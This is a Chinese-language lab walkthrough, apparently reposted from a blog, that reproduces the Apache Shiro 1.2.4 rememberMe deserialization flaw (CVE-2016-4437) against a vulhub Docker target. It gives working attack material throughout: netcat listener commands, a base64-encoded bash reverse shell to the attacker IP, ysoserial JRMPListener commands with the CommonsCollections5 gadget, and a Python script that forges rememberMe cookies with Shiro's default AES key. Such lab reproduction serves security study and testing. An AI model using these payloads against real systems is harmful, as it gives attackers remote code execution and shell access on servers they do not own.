复现Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)


靶机IP(Ubuntu):192.168.43.185

攻击IP(kali):192.168.43.37

 

一、docker环境搭建

打开vulhub靶机,目录定位到vulhub-master/shiro/CVE-2016-4437目录下

并使用docker-compose builddocker-compose up -d建立并启动docker

 

image.png

 

查看靶机内网地址:192.168.43.185

image.png

 

 

浏览器访问http://192.168.43.185:8080

image.png

 

二、使用Shiro_exploit进行漏洞利用

 

1.使用Shiro_exploit检测是否存在shiro漏洞

项目地址:https://github.com/insightglacier/Shiro_exploit

 

使用命令

python shiro_exploit.py -u http://192.168.43.185:8080

 

 

image.png

 

vulnerable:True表示存在shiro漏洞

 

 

 

2.使用Shiro_exploit进行反弹shell利用

kali监听2222端口

nc -lvp 2222

image.png

 

 

3.对反弹shell命令进行加密利用

 

命令加密可用网站http://www.jackson-t.ca/runtime-exec-payloads.html

image.png

 

bash -i >& /dev/tcp/192.168.43.37/2222 0>&1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjM3LzIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i} //加密后

 

结合poc的-p参数进行漏洞利用

python shiro_exploit.py -t 3 -u http://192.168.43.185:8080 -p "bash加密命令"
python shiro_exploit.py -t 3 -u http://192.168.43.185:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjM3LzIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i}"

 

image.png

 

2222端口监听到反弹过来的shell

image.png

 

 

三、利用ysoserial复现漏洞

1.ysoserial工具

ysoserial 集合了各种java反序列化payload的反序列化工具

下载:https://github.com/frohoff/ysoserial

 

因为ysoserial是一个Java项目,它需要本地配置mvn环境(全称Maven,是基于项目对象模型的软件项目管理工具)依据Java项目的pom.xml文件自动化配置获取jar包,所以本地需要Java与mvn环境

image.png

image.png

 

 

使用mvn clean package -DskipTests命令打包项目

image.png

image.png

image.png

 

 

生成完工具之后放到kali攻击机上使用

 

验证目标是否搭建shiro,在前端登录界面抓登录包,用burp查看响应包是否存在rememberMe=deleteMe字段

image.png

 

image.png

 

 

2.使用ysoserial进行反弹shell利用

kali监听2222端口

image.png

同时另开终端执行反弹shell的Java监听命令(ysoserial.exploit.JRMPListener监听6666端口):

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjM3LzIyMjIgMD4mMQ==}|{base64,-d}|{bash,-i}'

image.png

 

 

(注:bash加密命令前的CommonsCollections后面数字要写5,网上的payload都写CommonsCollections4,可能是Java环境问题,CommonsCollections4一直反弹不到shell,只在Java端口监听到会话,联想到前面使用Shiro_exploit的时候,会使用CommonsCollections1,2,3,4,5等各种方式进行测试,所以尝试更改了CommonsCollections就有效果了)

image.png

 

 

 

将以下生成cookie的poc代码命名为shiro.py放到target目录下

import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command):  popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)  BS = AES.block_size  pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()  key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")  iv = uuid.uuid4().bytes  encryptor = AES.new(key, AES.MODE_CBC, iv)  file_body = pad(popen.stdout.read())  base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))  return base64_ciphertext  if __name__ == '__main__':  payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())

以python2执行命令:

python shiro.py 攻击者IP:攻击者监听的java端口

image.png

 

 

 

在前端页面抓一个勾选remember me的数据包

image.png

将生成的cookie复制到数据包中

image.png

重放之后在Java监听端可看到会话

 

image.png

同时在2222端口可监听到反弹回来的shell

image.png

 

 

四、使用一键利用工具复现

 

一键利用工具

项目地址:

https://github.com/feihong-cs/ShiroExploit/releases/tag/v2.3

 

image.png

选择好对应的 shiro550,填入靶场地址,下一步

image.png

 

 

选择dnslog.cn进行检测(ceye.io会慢)

 

image.png

在下方对话框出现Find Valid Gadget的时候,就可以执行反弹shell了

image.png

image.png

 

 

 

image.png

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM